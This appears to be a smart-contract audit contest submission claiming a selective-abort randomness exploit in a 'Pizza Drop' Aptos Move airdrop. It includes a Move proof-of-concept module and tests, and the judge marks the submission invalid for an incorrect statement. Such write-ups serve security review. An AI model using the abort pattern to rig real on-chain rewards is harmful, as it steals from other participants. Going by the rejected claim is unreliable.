Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Unsafe Public Randomness: Selective Abort Attack Through Contract Calls

Unsafe Public Randomness: Selective Abort Attack Through Contract Calls

Description

  • The Pizza Drop contract randomly assigns rewards between 100-500 APT to registered users.

  • The contract exposes randomness generation through public functions, allowing other contracts to observe and selectively abort based on the random outcome.

@> public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
get_random_slice(user); // Public exposure of randomness
event::emit(PizzaLoverRegistered { user });
}

Risk

Likelihood:

  • Any contract can call the registration function and observe the outcome

Impact:

  • Contracts can implement selective abort logic to guarantee specific outcomes

  • Random distribution becomes deterministic for contract callers

  • Gas costs are the only limiting factor for exploitation

Proof of Concept

The following contract demonstrates how to exploit the public randomness to guarantee maximum rewards. Test cases demonstrate how this exploit can either successful claim a high amount or abort in case of a low amount.

module pizza_drop::pizza_exploiter {
use pizza_drop::airdrop;
use aptos_framework::coin::{MintCapability, BurnCapability};
use aptos_framework::aptos_coin::AptosCoin;
/// Error when reward amount is not maximum (500)
const E_NOT_MAX_REWARD: u64 = 1;
/// Maximum reward amount we want to get
const DESIRED_AMOUNT: u64 = 500;
/// Test resources that need cleanup
struct TestContext {
burn_cap: BurnCapability<AptosCoin>,
mint_cap: MintCapability<AptosCoin>
}
#[randomness]
entry fun exploit_randomness(signer: &signer, user: address) {
airdrop::register_pizza_lover(signer, user);
let amount = airdrop::get_claimed_amount(user);
assert!(amount == DESIRED_AMOUNT, E_NOT_MAX_REWARD);
}
#[test_only]
/// Setup function that initializes the test environment
fun setup_test(
deployer: &signer,
framework: &signer
): TestContext {
use aptos_framework::coin;
// use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Initialize timestamp and APT for testing
aptos_framework::timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
// Mint APT to deployer for funding
let funding_amount = 100000; // 100000 APT
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
// Initialize and fund contract
airdrop::init_module_for_test(deployer);
airdrop::fund_pizza_drop(deployer, 50000); // 50000 APT
TestContext { burn_cap, mint_cap }
}
#[test(deployer = @pizza_drop, user1 = @0x123, framework = @0x1)]
fun test_exploit_public_randomness(
deployer: &signer,
user1: &signer,
framework: &signer
) {
use std::signer;
use aptos_framework::coin;
use aptos_framework::timestamp;
// Setup test environment
let test_context = setup_test(deployer, framework);
let user1_addr = signer::address_of(user1);
// Test Case: Set timestamp to get maximum amount (500)
// The exploit_randomness will succeed when payout is 500
timestamp::update_global_time_for_test(4010000 + 400); // timestamp % 401 = 400
exploit_randomness(deployer, user1_addr);
let amount = airdrop::get_claimed_amount(user1_addr);
assert!(amount == 500, 2); // Should get maximum amount
// Clean up
let TestContext { burn_cap, mint_cap } = test_context;
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
#[expected_failure(abort_code = E_NOT_MAX_REWARD)]
#[test(deployer = @pizza_drop, user1 = @0x123, framework = @0x1)]
fun test_exploit_public_randomness_failure(
deployer: &signer,
user1: &signer,
framework: &signer
) {
use std::signer;
use aptos_framework::coin;
use aptos_framework::timestamp;
// Setup test environment
let test_context = setup_test(deployer, framework);
// Test Case: Set timestamp to get minimum amount (100)
// The exploit_randomness will fail when payout is not 500
timestamp::update_global_time_for_test(4010000); // Using a multiple of 401
exploit_randomness(deployer, signer::address_of(user1));
// Clean up (won't reach here due to expected failure)
let TestContext { burn_cap, mint_cap } = test_context;
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
}

For these tests to run, add this test_only function to the original airdrop module to allow us to initialize the airdrop module for our tests.

module pizza_drop::airdrop {
#[test_only]
public fun init_module_for_test(deployer: &signer) {
init_module(deployer);
}
}

Recommended Mitigation

Simply remove `public` from the randomness function to prevent external contracts from calling it:

- public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
+ entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
get_random_slice(user);
event::emit(PizzaLoverRegistered {
user: user,
});
}

This solution ensures that random values cannot be observed and manipulated by external contracts, maintaining the fairness of the airdrop distribution system.

Updates

Appeal created

bube Lead Judge 9 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.